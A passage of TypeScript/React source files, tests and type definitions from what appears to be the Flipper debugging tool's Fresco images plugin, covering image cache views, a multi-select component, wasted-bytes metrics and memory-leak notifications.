selectedSurfaces.delete(allSurfacesOption);
if (checked) {
selectedSurfaces.add(selectedItem);
} else {
selectedSurfaces.delete(selectedItem);
}
}
if (
surfaceOptions.size - selectedSurfaces.size === 1 &&
!selectedSurfaces.has(allSurfacesOption)
) {
selectedSurfaces.add(allSurfacesOption);
}
this.props.onChangeSurface(selectedSurfaces);
};
render() {
const hasImages =
this.props.images.reduce(
(c, cacheInfo) => c + cacheInfo.imageIds.length,
0,
) > 0;
return (
<ImagesCacheOverview.Container
grow={true}
onKeyDown={this.onKeyDown}
tabIndex={0}>
<Toolbar position="top">
<Button icon="trash" onClick={this.props.onTrimMemory}>
Trim Memory
</Button>
<Button onClick={this.props.onRefresh}>Refresh</Button>
<MultipleSelect
selected={this.props.selectedSurfaces}
options={this.props.surfaceOptions}
onChange={this.onSurfaceOptionsChange}
label="Surfaces"
/>
<Toggle
onClick={this.onEnableAutoRefreshToggled}
toggled={this.props.isAutoRefreshEnabled}
label="Auto Refresh"
/>
<Toggle
onClick={this.onEnableDebugOverlayToggled}
toggled={this.props.isDebugOverlayEnabled}
label="Show Debug Overlay"
/>
<Toggle
toggled={this.props.coldStartFilter}
onClick={this.props.onColdStartChange}
label="Show Cold Start Images"
/>
<Toggle
toggled={this.props.isLeakTrackingEnabled}
onClick={this.props.onTrackLeaks}
label="Track Leaks"
/>
<Spacer />
<input
type="range"
onChange={this.onChangeSize}
min={50}
max={150}
value={this.state.size}
/>
</Toolbar>
{!hasImages ? (
<ImagesCacheOverview.Empty>
<LoadingIndicator size={50} />
</ImagesCacheOverview.Empty>
) : (
<ImagesCacheOverview.Content>
{this.props.images.map((data: CacheInfo, index: number) => {
const maxSize = data.maxSizeBytes;
const subtitle = maxSize
? formatMB(data.sizeBytes) + ' / ' + formatMB(maxSize)
: formatMB(data.sizeBytes);
const onClear =
data.clearKey !== undefined
? () => this.props.onClear(data.clearKey as string)
: undefined;
return (
<ImageGrid
key={index}
title={data.cacheType}
subtitle={subtitle}
images={data.imageIds}
onImageSelected={this.onImageSelected}
selectedImage={this.state.selectedImage}
imagesMap={this.props.imagesMap}
size={this.state.size}
events={this.props.events}
onClear={onClear}
/>
);
})}
</ImagesCacheOverview.Content>
)}
</ImagesCacheOverview.Container>
);
}
}
class ImageGrid extends PureComponent<{
title: string;
subtitle: string;
images: Array<ImageId>;
selectedImage: ImageId | null;
onImageSelected: (image: ImageId) => void;
onClear: (() => void) | undefined;
imagesMap: ImagesMap;
size: number;
events: Array<ImageEventWithId>;
}> {
static Content = styled.div({
paddingLeft: 15,
});
render() {
const {images, onImageSelected, selectedImage} = this.props;
if (images.length === 0) {
return null;
}
return [
<ImageGridHeader
key="header"
title={this.props.title}
subtitle={this.props.subtitle}
onClear={this.props.onClear}
/>,
<ImageGrid.Content key="content">
{images.map(imageId => (
<ImageItem
imageId={imageId}
image={this.props.imagesMap[imageId]}
key={imageId}
selected={selectedImage != null && selectedImage === imageId}
onSelected={onImageSelected}
size={this.props.size}
numberOfRequests={
this.props.events.filter(e => e.imageIds.includes(imageId)).length
}
/>
))}
</ImageGrid.Content>,
];
}
}
class ImageGridHeader extends PureComponent<{
title: string;
subtitle: string;
onClear: (() => void) | undefined;
}> {
static Container = styled(FlexRow)({
color: colors.dark70,
paddingTop: 10,
paddingBottom: 10,
marginLeft: 15,
marginRight: 15,
marginBottom: 15,
borderBottom: `1px solid ${colors.light10}`,
flexShrink: 0,
alignItems: 'center',
position: 'sticky',
top: 0,
left: 0,
right: 0,
backgroundColor: colors.white,
zIndex: 3,
});
static Heading = styled.span({
fontSize: 22,
fontWeight: 600,
});
static Subtitle = styled.span({
fontSize: 22,
fontWeight: 300,
marginLeft: 15,
});
static ClearButton = styled(Button)({
alignSelf: 'center',
height: 30,
marginLeft: 'auto',
width: 100,
});
render() {
return (
<ImageGridHeader.Container>
<ImageGridHeader.Heading>{this.props.title}</ImageGridHeader.Heading>
<ImageGridHeader.Subtitle>
{this.props.subtitle}
</ImageGridHeader.Subtitle>
<Spacer />
{this.props.onClear ? (
<ImageGridHeader.ClearButton onClick={this.props.onClear}>
Clear Cache
</ImageGridHeader.ClearButton>
) : null}
</ImageGridHeader.Container>
);
}
}
class ImageItem extends PureComponent<{
imageId: ImageId;
image: ImageData;
selected: boolean;
onSelected: (image: ImageId) => void;
size: number;
numberOfRequests: number;
}> {
static Container = styled(FlexBox)<{size: number}>(props => ({
float: 'left',
alignItems: 'center',
justifyContent: 'center',
flexShrink: 0,
height: props.size,
width: props.size,
borderRadius: 4,
marginRight: 15,
marginBottom: 15,
backgroundColor: colors.light02,
}));
static Image = styled.img({
borderRadius: 4,
maxHeight: '100%',
maxWidth: '100%',
objectFit: 'contain',
});
static Loading = styled.span({
padding: '0 0',
});
static SelectedHighlight = styled.div<{selected: boolean}>(props => ({
borderColor: colors.highlight,
borderStyle: 'solid',
borderWidth: props.selected ? 3 : 0,
borderRadius: 4,
boxShadow: props.selected ? `inset 0 0 0 1px ${colors.white}` : 'none',
bottom: 0,
left: 0,
position: 'absolute',
right: 0,
top: 0,
}));
static HoverOverlay = styled(FlexColumn)<{selected: boolean; size: number}>(
props => ({
alignItems: 'center',
backgroundColor: colors.whiteAlpha80,
bottom: props.selected ? 4 : 0,
fontSize: props.size > 100 ? 16 : 11,
justifyContent: 'center',
left: props.selected ? 4 : 0,
opacity: 0,
position: 'absolute',
right: props.selected ? 4 : 0,
top: props.selected ? 4 : 0,
overflow: 'hidden',
transition: '.1s opacity',
'&:hover': {
opacity: 1,
},
}),
);
static MemoryLabel = styled.span({
fontWeight: 600,
marginBottom: 6,
});
static SizeLabel = styled.span({
fontWeight: 300,
});
static Events = styled.div({
position: 'absolute',
top: -5,
right: -5,
color: colors.white,
backgroundColor: colors.highlight,
fontWeight: 600,
borderRadius: 10,
fontSize: '0.85em',
zIndex: 2,
lineHeight: '20px',
width: 20,
textAlign: 'center',
});
static defaultProps = {
size: 150,
};
onClick = () => {
this.props.onSelected(this.props.imageId);
};
render() {
const {image, selected, size, numberOfRequests} = this.props;
return (
<ImageItem.Container onClick={this.onClick} size={size}>
{numberOfRequests > 0 && image != null && (
<ImageItem.Events>{numberOfRequests}</ImageItem.Events>
)}
{image != null ? (
<ImageItem.Image src={image.data} />
) : (
<LoadingIndicator size={25} />
)}
<ImageItem.SelectedHighlight selected={selected} />
{image != null && (
<ImageItem.HoverOverlay selected={selected} size={size}>
<ImageItem.MemoryLabel>
{formatKB(image.sizeBytes)}
</ImageItem.MemoryLabel>
<ImageItem.SizeLabel>
{image.width}&times;{image.height}
</ImageItem.SizeLabel>
</ImageItem.HoverOverlay>
)}
</ImageItem.Container>
);
}
}

View File

@@ -0,0 +1,193 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {ImageData} from './api';
import {ImageEventWithId} from './index';
import {
Component,
ContextMenu,
DataDescription,
Text,
Panel,
ManagedDataInspector,
FlexColumn,
FlexRow,
colors,
styled,
} from 'flipper';
import React from 'react';
import {clipboard, MenuItemConstructorOptions} from 'electron';
type ImagesSidebarProps = {
image: ImageData;
events: Array<ImageEventWithId>;
};
type ImagesSidebarState = {};
const DataDescriptionKey = styled.span({
color: colors.grapeDark1,
});
const WordBreakFlexColumn = styled(FlexColumn)({
wordBreak: 'break-all',
});
export default class ImagesSidebar extends Component<
ImagesSidebarProps,
ImagesSidebarState
> {
render() {
return (
<div>
{this.renderUri()}
{this.props.events.map(e => (
<EventDetails key={e.eventId} event={e} />
))}
</div>
);
}
renderUri() {
if (!this.props.image) {
return null;
}
if (!this.props.image.uri) {
return null;
}
const contextMenuItems: MenuItemConstructorOptions[] = [
{
label: 'Copy URI',
click: () => clipboard.writeText(this.props.image.uri!),
},
];
return (
<Panel heading="Sources" floating={false}>
<FlexRow>
<FlexColumn>
<DataDescriptionKey>URI</DataDescriptionKey>
</FlexColumn>
<FlexColumn>
<span key="sep">:&nbsp;</span>
</FlexColumn>
<WordBreakFlexColumn>
<ContextMenu component="span" items={contextMenuItems}>
<DataDescription
type="string"
value={this.props.image.uri}
setValue={null}
/>
</ContextMenu>
</WordBreakFlexColumn>
</FlexRow>
</Panel>
);
}
}
class EventDetails extends Component<{
event: ImageEventWithId;
}> {
render() {
const {event} = this.props;
return (
<Panel
heading={<RequestHeader event={event} />}
floating={false}
padded={true}>
<p>
<DataDescriptionKey>Attribution</DataDescriptionKey>
<span key="sep">: </span>
<ManagedDataInspector data={event.attribution} />
</p>
<p>
<DataDescriptionKey>Time start</DataDescriptionKey>
<span key="sep">: </span>
<DataDescription
type="number"
value={event.startTime}
setValue={function(path: Array<string>, val: any) {}}
/>
</p>
<p>
<DataDescriptionKey>Time end</DataDescriptionKey>
<span key="sep">: </span>
<DataDescription
type="number"
value={event.endTime}
setValue={function(path: Array<string>, val: any) {}}
/>
</p>
<p>
<DataDescriptionKey>Source</DataDescriptionKey>
<span key="sep">: </span>
<DataDescription
type="string"
value={event.source}
setValue={function(path: Array<string>, val: any) {}}
/>
</p>
<p>
<DataDescriptionKey>Requested on cold start</DataDescriptionKey>
<span key="sep">: </span>
<DataDescription
type="boolean"
value={event.coldStart}
setValue={null}
/>
</p>
{this.renderViewportData()}
</Panel>
);
}
renderViewportData() {
const viewport = this.props.event.viewport;
if (!viewport) {
return null;
}
return (
<p>
<DataDescriptionKey>Viewport</DataDescriptionKey>
<span key="sep">: </span>
<DataDescription
type="string"
value={viewport.width + 'x' + viewport.height}
setValue={function(path: Array<string>, val: any) {}}
/>
</p>
);
// TODO (t31947746): grey box time, n-th scan time
}
}
class RequestHeader extends Component<{
event: ImageEventWithId;
}> {
dateString = (timestamp: number) => {
const date = new Date(timestamp);
return `${date.toTimeString().split(' ')[0]}.${(
'000' + date.getMilliseconds()
).substr(-3)}`;
};
render() {
const {event} = this.props;
const durationMs = event.endTime - event.startTime;
return (
<Text>
{event.viewport ? 'Request' : 'Prefetch'} at{' '}
{this.dateString(event.startTime)} ({durationMs}ms)
</Text>
);
}
}

View File

@@ -0,0 +1,111 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Block, Button, colors, FlexColumn, styled, Glyph} from 'flipper';
import React, {ChangeEvent, Component} from 'react';
const Container = styled(Block)({
position: 'relative',
marginLeft: '10px',
});
const List = styled(FlexColumn)<{visibleList: boolean}>(props => ({
display: props.visibleList ? 'flex' : 'none',
position: 'absolute',
top: '32px',
left: 0,
zIndex: 4,
width: 'auto',
minWidth: '200px',
backgroundColor: colors.white,
borderWidth: '1px',
borderStyle: 'solid',
borderColor: colors.macOSTitleBarButtonBorderBottom,
borderRadius: 4,
}));
const ListItem = styled.label({
cursor: 'pointer',
display: 'flex',
alignItems: 'center',
width: '100%',
color: colors.light50,
fontSize: '11px',
padding: '0 5px',
'&:hover': {
backgroundColor: colors.macOSTitleBarButtonBackgroundActiveHighlight,
},
});
const Checkbox = styled.input({
display: 'inline-block',
marginRight: 5,
verticalAlign: 'middle',
});
const StyledGlyph = styled(Glyph)({
marginLeft: '4px',
});
type State = {
visibleList: boolean;
};
export default class MultipleSelect extends Component<
{
selected: Set<string>;
options: Set<string>;
onChange: (selectedItem: string, checked: boolean) => void;
label: string;
},
State
> {
state = {
visibleList: false,
};
handleOnChange = (event: ChangeEvent<HTMLInputElement>) => {
const {
target: {value, checked},
} = event;
this.props.onChange(value, checked);
};
toggleList = () => this.setState({visibleList: !this.state.visibleList});
render() {
const {selected, label, options} = this.props;
const {visibleList} = this.state;
const icon = visibleList ? 'chevron-up' : 'chevron-down';
return (
<Container>
<Button onClick={this.toggleList}>
{label} <StyledGlyph name={icon} />
</Button>
<List visibleList={visibleList}>
{Array.from(options).map((option, index) => (
<ListItem key={index}>
<Checkbox
onChange={this.handleOnChange}
checked={selected.has(option)}
value={option}
type="checkbox"
/>
{option}
</ListItem>
))}
</List>
</Container>
);
}
}

View File

@@ -0,0 +1,32 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`notifications for leaks 1`] = `
<React.Fragment>
<Styled(div)>
CloseableReference leaked for
<Text
code={true}
>
com.facebook.imagepipeline.memory.NativeMemoryChunk
</Text>
(identity hashcode:
deadbeef
).
</Styled(div)>
<Styled(div)>
<Text
bold={true}
>
Stacktrace:
</Text>
</Styled(div)>
<Styled(div)>
<Text
code={true}
>
&lt;unavailable&gt;
</Text>
</Styled(div)>
</React.Fragment>
`;

View File

@@ -0,0 +1,324 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import FrescoPlugin from '../index';
import {PersistedState, ImageEventWithId} from '../index';
import {AndroidCloseableReferenceLeakEvent} from '../api';
import {MetricType, Notification} from 'flipper';
import {ImagesMap} from '../ImagePool';
type ScanDisplayTime = {[scan_number: number]: number};
function mockPersistedState(
imageSizes: Array<{
width: number;
height: number;
}> = [],
viewport: {
width: number;
height: number;
} = {width: 150, height: 150},
): PersistedState {
const scanDisplayTime: ScanDisplayTime = {};
scanDisplayTime[1] = 3;
const events: Array<ImageEventWithId> = [
{
imageIds: [...Array(imageSizes.length).keys()].map(String),
eventId: 0,
attribution: [],
startTime: 1,
endTime: 2,
source: 'source',
coldStart: true,
viewport: {...viewport, scanDisplayTime},
},
];
const imagesMap = imageSizes.reduce((acc, val, index) => {
acc[index] = {
imageId: String(index),
width: val.width,
height: val.height,
sizeBytes: 10,
data: 'undefined',
};
return acc;
}, {} as ImagesMap);
return {
surfaceList: new Set(),
images: [],
events,
imagesMap,
closeableReferenceLeaks: [],
isLeakTrackingEnabled: false,
nextEventId: 0,
};
}
test('the metric reducer for the input having regression', () => {
const persistedState = mockPersistedState(
[
{
width: 150,
height: 150,
},
{
width: 150,
height: 150,
},
{
width: 150,
height: 150,
},
],
{
width: 100,
height: 100,
},
);
expect(FrescoPlugin.metricsReducer).toBeDefined();
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
const metrics = FrescoPlugin.metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({
WASTED_BYTES: 37500,
});
});
test('the metric reducer for the input having no regression', () => {
const persistedState = mockPersistedState(
[
{
width: 50,
height: 10,
},
{
width: 50,
height: 50,
},
{
width: 50,
height: 50,
},
],
{
width: 100,
height: 100,
},
);
const metricsReducer = FrescoPlugin.metricsReducer;
expect(metricsReducer).toBeDefined();
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
const metrics = metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({
WASTED_BYTES: 0,
});
});
test('the metric reducer for the default persisted state', () => {
const metricsReducer = FrescoPlugin.metricsReducer;
expect(metricsReducer).toBeDefined();
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
const metrics = metricsReducer(FrescoPlugin.defaultPersistedState);
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 0});
});
test('the metric reducer with the events data but with no imageData in imagesMap ', () => {
const persistedState = mockPersistedState(
[
{
width: 50,
height: 10,
},
{
width: 50,
height: 50,
},
{
width: 50,
height: 50,
},
],
{
width: 100,
height: 100,
},
);
persistedState.imagesMap = {};
const metricsReducer = FrescoPlugin.metricsReducer;
expect(metricsReducer).toBeDefined();
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
const metrics = metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 0});
});
test('the metric reducer with the no viewPort data in events', () => {
const persistedState = mockPersistedState(
[
{
width: 50,
height: 10,
},
{
width: 50,
height: 50,
},
{
width: 50,
height: 50,
},
],
{
width: 100,
height: 100,
},
);
delete persistedState.events[0].viewport;
const metricsReducer = FrescoPlugin.metricsReducer;
expect(metricsReducer).toBeDefined();
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
const metrics = metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 0});
});
test('the metric reducer with the multiple events', () => {
const scanDisplayTime: ScanDisplayTime = {};
scanDisplayTime[1] = 3;
const events: Array<ImageEventWithId> = [
{
imageIds: ['0', '1'],
eventId: 0,
attribution: [],
startTime: 1,
endTime: 2,
source: 'source',
coldStart: true,
viewport: {width: 100, height: 100, scanDisplayTime},
},
{
imageIds: ['2', '3'],
eventId: 1,
attribution: [],
startTime: 1,
endTime: 2,
source: 'source',
coldStart: true,
viewport: {width: 50, height: 50, scanDisplayTime},
},
];
const imageSizes = [
{
width: 150,
height: 150,
},
{
width: 100,
height: 100,
},
{
width: 250,
height: 250,
},
{
width: 300,
height: 300,
},
];
const imagesMap = imageSizes.reduce((acc, val, index) => {
acc[index] = {
imageId: String(index),
width: val.width,
height: val.height,
sizeBytes: 10,
data: 'undefined',
};
return acc;
}, {} as ImagesMap);
const persistedState = {
surfaceList: new Set<string>(),
images: [],
nextEventId: 0,
events,
imagesMap,
closeableReferenceLeaks: [],
isLeakTrackingEnabled: true,
};
const metricsReducer = FrescoPlugin.metricsReducer;
expect(metricsReducer).toBeDefined();
//$FlowFixMe: Added a check if the metricsReducer exists in FrescoPlugin
const metrics = metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({WASTED_BYTES: 160000});
});
test('closeable reference metrics on empty state', () => {
const metricsReducer: (
persistedState: PersistedState,
) => Promise<MetricType> = FrescoPlugin.metricsReducer;
const persistedState = mockPersistedState();
const metrics = metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({CLOSEABLE_REFERENCE_LEAKS: 0});
});
test('closeable reference metrics on input', () => {
const metricsReducer: (
persistedState: PersistedState,
) => Promise<MetricType> = FrescoPlugin.metricsReducer;
const closeableReferenceLeaks: Array<AndroidCloseableReferenceLeakEvent> = [
{
identityHashCode: 'deadbeef',
className: 'com.facebook.imagepipeline.memory.NativeMemoryChunk',
stacktrace: null,
},
{
identityHashCode: 'f4c3b00c',
className: 'com.facebook.flipper.SomeMemoryAbstraction',
stacktrace: null,
},
];
const persistedState = {
...mockPersistedState(),
closeableReferenceLeaks,
};
const metrics = metricsReducer(persistedState);
return expect(metrics).resolves.toMatchObject({CLOSEABLE_REFERENCE_LEAKS: 2});
});
test('notifications for leaks', () => {
const notificationReducer: (
persistedState: PersistedState,
) => Array<Notification> = FrescoPlugin.getActiveNotifications;
const closeableReferenceLeaks: Array<AndroidCloseableReferenceLeakEvent> = [
{
identityHashCode: 'deadbeef',
className: 'com.facebook.imagepipeline.memory.NativeMemoryChunk',
stacktrace: null,
},
{
identityHashCode: 'f4c3b00c',
className: 'com.facebook.flipper.SomeMemoryAbstraction',
stacktrace: null,
},
];
const persistedStateWithoutTracking = {
...mockPersistedState(),
closeableReferenceLeaks,
isLeakTrackingEnabled: false,
};
const emptyNotifs = notificationReducer(persistedStateWithoutTracking);
expect(emptyNotifs).toHaveLength(0);
const persistedStateWithTracking = {
...mockPersistedState(),
closeableReferenceLeaks,
isLeakTrackingEnabled: true,
};
const notifs = notificationReducer(persistedStateWithTracking);
expect(notifs).toHaveLength(2);
expect(notifs[0].message).toMatchSnapshot();
expect(notifs[1].title).toContain('SomeMemoryAbstraction');
});

View File

@@ -0,0 +1,77 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
export type ImageId = string;
// Listing images
export type CacheInfo = {
cacheType: string;
clearKey?: string; // set this if this cache level supports clear(<key>)
sizeBytes: number;
maxSizeBytes?: number;
imageIds: Array<ImageId>;
};
export type ImagesList = Array<CacheInfo>;
// The iOS Flipper api does not support a top-level array, so we wrap it in an object
export type ImagesListResponse = {
levels: ImagesList;
};
// listImages() -> ImagesListResponse
// Getting details on a specific image
export type ImageBytes = string;
export type ImageData = {
imageId: ImageId;
uri?: string;
width: number;
height: number;
sizeBytes: number;
data: ImageBytes;
surface?: string;
};
// getImage({imageId: string}) -> ImageData
// Subscribing to image events (requests and prefetches)
export type Timestamp = number;
export type ViewportData = {
width: number;
height: number;
scanDisplayTime: {[scan_number: number]: Timestamp};
};
export type ImageEvent = {
imageIds: Array<ImageId>;
attribution: Array<string>;
startTime: Timestamp;
endTime: Timestamp;
source: string;
coldStart: boolean;
viewport?: ViewportData; // not set for prefetches
};
// Misc
export type FrescoDebugOverlayEvent = {
enabled: boolean;
};
export type AndroidCloseableReferenceLeakEvent = {
identityHashCode: string;
className: string;
stacktrace: string | null;
};

View File

@@ -0,0 +1,500 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
ImageId,
ImageData,
ImagesList,
ImagesListResponse,
ImageEvent,
FrescoDebugOverlayEvent,
AndroidCloseableReferenceLeakEvent,
CacheInfo,
} from './api';
import {Fragment} from 'react';
import {ImagesMap} from './ImagePool';
import {MetricType, ReduxState} from 'flipper';
import React from 'react';
import ImagesCacheOverview from './ImagesCacheOverview';
import {
FlipperPlugin,
FlexRow,
Text,
DetailSidebar,
colors,
styled,
isProduction,
Notification,
BaseAction,
} from 'flipper';
import ImagesSidebar from './ImagesSidebar';
import ImagePool from './ImagePool';
export type ImageEventWithId = ImageEvent & {eventId: number};
export type PersistedState = {
surfaceList: Set<string>;
images: ImagesList;
events: Array<ImageEventWithId>;
imagesMap: ImagesMap;
closeableReferenceLeaks: Array<AndroidCloseableReferenceLeakEvent>;
isLeakTrackingEnabled: boolean;
nextEventId: number;
};
type PluginState = {
selectedSurfaces: Set<string>;
selectedImage: ImageId | null;
isDebugOverlayEnabled: boolean;
isAutoRefreshEnabled: boolean;
images: ImagesList;
coldStartFilter: boolean;
};
const EmptySidebar = styled(FlexRow)({
alignItems: 'center',
justifyContent: 'center',
color: colors.light30,
padding: 15,
fontSize: 16,
});
export const InlineFlexRow = styled(FlexRow)({
display: 'inline-block',
});
const surfaceDefaultText = 'SELECT ALL SURFACES';
const debugLog = (...args: any[]) => {
if (!isProduction()) {
// eslint-disable-next-line no-console
console.log(...args);
}
};
type ImagesMetaData = {
levels: ImagesListResponse;
events: Array<ImageEventWithId>;
imageDataList: Array<ImageData>;
};
export default class FlipperImagesPlugin extends FlipperPlugin<
PluginState,
BaseAction,
PersistedState
> {
static defaultPersistedState: PersistedState = {
images: [],
events: [],
imagesMap: {},
surfaceList: new Set(),
closeableReferenceLeaks: [],
isLeakTrackingEnabled: false,
nextEventId: 0,
};
static exportPersistedState = (
callClient: (method: string, params?: any) => Promise<any>,
persistedState: PersistedState,
store?: ReduxState,
): Promise<PersistedState> => {
const defaultPromise = Promise.resolve(persistedState);
if (!persistedState) {
persistedState = FlipperImagesPlugin.defaultPersistedState;
}
if (!store) {
return defaultPromise;
}
return Promise.all([
callClient('listImages'),
callClient('getAllImageEventsInfo'),
]).then(async ([responseImages, responseEvents]) => {
const levels: ImagesList = responseImages.levels;
const events: Array<ImageEventWithId> = responseEvents.events;
let pluginData: PersistedState = {
...persistedState,
images: persistedState ? [...persistedState.images, ...levels] : levels,
closeableReferenceLeaks:
(persistedState && persistedState.closeableReferenceLeaks) || [],
};
events.forEach((event: ImageEventWithId, index) => {
if (!event) {
return;
}
const {attribution} = event;
if (
attribution &&
attribution instanceof Array &&
attribution.length > 0
) {
const surface = attribution[0] ? attribution[0].trim() : undefined;
if (surface && surface.length > 0) {
pluginData.surfaceList.add(surface);
}
}
pluginData = {
...pluginData,
events: [{eventId: index, ...event}, ...pluginData.events],
};
});
const idSet: Set<string> = levels.reduce((acc, level: CacheInfo) => {
level.imageIds.forEach(id => {
acc.add(id);
});
return acc;
}, new Set<string>());
const imageDataList: Array<ImageData> = [];
for (const id of idSet) {
try {
const imageData: ImageData = await callClient('getImage', {
imageId: id,
});
imageDataList.push(imageData);
} catch (e) {
console.error(e);
}
}
imageDataList.forEach((data: ImageData) => {
const imagesMap = {...pluginData.imagesMap};
imagesMap[data.imageId] = data;
pluginData.imagesMap = imagesMap;
});
return pluginData;
});
};
static persistedStateReducer = (
persistedState: PersistedState,
method: string,
data: AndroidCloseableReferenceLeakEvent | ImageEvent,
): PersistedState => {
if (method == 'closeable_reference_leak_event') {
const event: AndroidCloseableReferenceLeakEvent = data as AndroidCloseableReferenceLeakEvent;
return {
...persistedState,
closeableReferenceLeaks: persistedState.closeableReferenceLeaks.concat(
event,
),
};
} else if (method == 'events') {
const event: ImageEvent = data as ImageEvent;
debugLog('Received events', event);
const {surfaceList} = persistedState;
const {attribution} = event;
if (attribution instanceof Array && attribution.length > 0) {
const surface = attribution[0] ? attribution[0].trim() : undefined;
if (surface && surface.length > 0) {
surfaceList.add(surface);
}
}
return {
...persistedState,
events: [
{eventId: persistedState.nextEventId, ...event},
...persistedState.events,
],
nextEventId: persistedState.nextEventId + 1,
};
}
return persistedState;
};
static metricsReducer = (
persistedState: PersistedState,
): Promise<MetricType> => {
const {events, imagesMap, closeableReferenceLeaks} = persistedState;
const wastedBytes = (events || []).reduce((acc, event) => {
const {viewport, imageIds} = event;
if (!viewport) {
return acc;
}
return imageIds.reduce((innerAcc, imageID) => {
const imageData: ImageData = imagesMap[imageID];
if (!imageData) {
return innerAcc;
}
const imageWidth: number = imageData.width;
const imageHeight: number = imageData.height;
const viewPortWidth: number = viewport.width;
const viewPortHeight: number = viewport.height;
const viewPortArea = viewPortWidth * viewPortHeight;
const imageArea = imageWidth * imageHeight;
return innerAcc + Math.max(0, imageArea - viewPortArea);
}, acc);
}, 0);
return Promise.resolve({
WASTED_BYTES: wastedBytes,
CLOSEABLE_REFERENCE_LEAKS: (closeableReferenceLeaks || []).length,
});
};
static getActiveNotifications = ({
closeableReferenceLeaks = [],
isLeakTrackingEnabled = false,
}: PersistedState): Array<Notification> =>
closeableReferenceLeaks
.filter(_ => isLeakTrackingEnabled)
.map((event: AndroidCloseableReferenceLeakEvent) => ({
id: event.identityHashCode,
title: `Leaked CloseableReference: ${event.className}`,
message: (
<Fragment>
<InlineFlexRow>
CloseableReference leaked for{' '}
<Text code={true}>{event.className}</Text>
(identity hashcode: {event.identityHashCode}).
</InlineFlexRow>
<InlineFlexRow>
<Text bold={true}>Stacktrace:</Text>
</InlineFlexRow>
<InlineFlexRow>
<Text code={true}>{event.stacktrace || '<unavailable>'}</Text>
</InlineFlexRow>
</Fragment>
),
severity: 'error',
category: 'closeablereference_leak',
}));
state: PluginState = {
selectedSurfaces: new Set([surfaceDefaultText]),
selectedImage: null,
isDebugOverlayEnabled: false,
isAutoRefreshEnabled: false,
images: [],
coldStartFilter: false,
};
imagePool: ImagePool | undefined;
nextEventId: number = 1;
filterImages = (
images: ImagesList,
events: Array<ImageEventWithId>,
surfaces: Set<string>,
coldStart: boolean,
): ImagesList => {
if (!surfaces || (surfaces.has(surfaceDefaultText) && !coldStart)) {
return images;
}
const imageList = images.map((image: CacheInfo) => {
const imageIdList = image.imageIds.filter(imageID => {
const filteredEvents = events.filter((event: ImageEventWithId) => {
const output =
event.attribution &&
event.attribution.length > 0 &&
event.imageIds &&
event.imageIds.includes(imageID);
if (surfaces.has(surfaceDefaultText)) {
return output && coldStart && event.coldStart;
}
return (
(!coldStart || (coldStart && event.coldStart)) &&
output &&
surfaces.has(event.attribution[0])
);
});
return filteredEvents.length > 0;
});
return {...image, imageIds: imageIdList};
});
return imageList;
};
init() {
debugLog('init()');
this.updateCaches('init');
this.client.subscribe(
'debug_overlay_event',
(event: FrescoDebugOverlayEvent) => {
this.setState({isDebugOverlayEnabled: event.enabled});
},
);
this.imagePool = new ImagePool(this.getImage, (images: ImagesMap) =>
this.props.setPersistedState({imagesMap: images}),
);
const images = this.filterImages(
this.props.persistedState.images,
this.props.persistedState.events,
this.state.selectedSurfaces,
this.state.coldStartFilter,
);
this.setState({images});
}
teardown() {
this.imagePool ? this.imagePool.clear() : undefined;
}
updateImagesOnUI = (
images: ImagesList,
surfaces: Set<string>,
coldStart: boolean,
) => {
const filteredImages = this.filterImages(
images,
this.props.persistedState.events,
surfaces,
coldStart,
);
this.setState({
selectedSurfaces: surfaces,
images: filteredImages,
coldStartFilter: coldStart,
});
};
updateCaches = (reason: string) => {
debugLog('Requesting images list (reason=' + reason + ')');
this.client.call('listImages').then((response: ImagesListResponse) => {
response.levels.forEach(data =>
this.imagePool ? this.imagePool.fetchImages(data.imageIds) : undefined,
);
this.props.setPersistedState({images: response.levels});
this.updateImagesOnUI(
this.props.persistedState.images,
this.state.selectedSurfaces,
this.state.coldStartFilter,
);
});
};
onClear = (type: string) => {
this.client.call('clear', {type});
setTimeout(() => this.updateCaches('onClear'), 1000);
};
onTrimMemory = () => {
this.client.call('trimMemory', {});
setTimeout(() => this.updateCaches('onTrimMemory'), 1000);
};
onEnableDebugOverlay = (enabled: boolean) => {
this.client.call('enableDebugOverlay', {enabled});
};
onEnableAutoRefresh = (enabled: boolean) => {
this.setState({isAutoRefreshEnabled: enabled});
if (enabled) {
// Delay the call just enough to allow the state change to complete.
setTimeout(() => this.onAutoRefresh());
}
};
onAutoRefresh = () => {
this.updateCaches('auto-refresh');
if (this.state.isAutoRefreshEnabled) {
setTimeout(() => this.onAutoRefresh(), 1000);
}
};
getImage = (imageId: string) => {
debugLog('<- getImage requested for ' + imageId);
this.client.call('getImage', {imageId}).then((image: ImageData) => {
debugLog('-> getImage ' + imageId + ' returned');
this.imagePool ? this.imagePool._fetchCompleted(image) : undefined;
});
};
onImageSelected = (selectedImage: ImageId) => this.setState({selectedImage});
renderSidebar = () => {
const {selectedImage} = this.state;
if (selectedImage == null) {
return (
<EmptySidebar grow={true}>
<Text align="center">
Select an image to see the events associated with it.
</Text>
</EmptySidebar>
);
}
